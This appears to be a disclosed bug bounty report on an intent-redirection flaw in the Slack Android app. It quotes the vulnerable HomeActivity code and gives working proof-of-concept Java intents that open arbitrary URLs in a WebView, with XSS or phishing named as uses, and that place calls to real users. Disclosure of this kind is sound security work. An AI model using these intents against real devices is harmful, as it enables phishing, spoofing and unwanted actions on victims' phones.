Access of Android protected components via embedded intent

Summary

@bagipro found a vulnerability wherein a malicious and unprivileged app on the victim's phone could interact with any activity in the Slack Android app, allowing manipulation of the app in unintended ways. Thanks for the finding @bagipro!

I found the following code inside com.Slack.ui.HomeActivity (exported activity, it means that any third-party app installed on the device/instant app can access it)

protected void onResume() {
    // ...
    handleIntentExtras(getIntent()); // attacker can pass anything to getIntent()
}

private void handleIntentExtras(Intent intent) {
    // ...
    Intent deeplinkIntent = (Intent) intent.getParcelableExtra("extra_deep_link_intent");
    //  ...
    if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) {
        // ...
        startActivity(deeplinkIntent); // danger! starting an intent provided by an attacker
        // ...
    }
    // ...
}

So we get that ANY protected/not exported activity can be reached. Here is an example how it can be used against com.Slack.ui.WebViewActivity, opening arbitrary link inside WebView

Intent next = new Intent();
next.setClassName("com.Slack", "com.Slack.ui.WebViewActivity");
next.putExtra("extra_url", "http://example.com/");
next.putExtra("extra_title", "test");

Intent start = new Intent();
start.setClassName("com.Slack", "com.Slack.ui.HomeActivity");
start.putExtra("extra_deep_link_intent", next);

startActivity(start);

It could be used with javascript: scheme to trigger XSS, or perform fishing attacks (because users don't see the real URL, only the title provided by the attacker)

Result: {F154295}

Making calls to real people

Intent next = new Intent("create");
next.setClassName("com.Slack", "com.Slack.ui.CallActivity");
next.putExtra("EXTRA_CALL_NAME", "Fake call name");
next.putExtra("EXTRA_CALLER_ID", "U1RFBBPCP");
next.putExtra("EXTRA_CHANNEL_NAME", "Fake channel name");
next.putExtra("EXTRA_CHANNEL_ID", "D2B84FUFQ");
next.putExtra("EXTRA_USERS_TO_INVITE", new ArrayList<String>(Arrays.asList(new String[] { "U2B81JBAL" })));

Intent start = new Intent();
start.setClassName("com.Slack", "com.Slack.ui.HomeActivity");
start.putExtra("extra_deep_link_intent", next);

startActivity(start);

Result: {F157904}

Was able to perform other actions too like show fake comments and content, spoof received files (with social engineering could be used to force users to download any files provided by the attacker)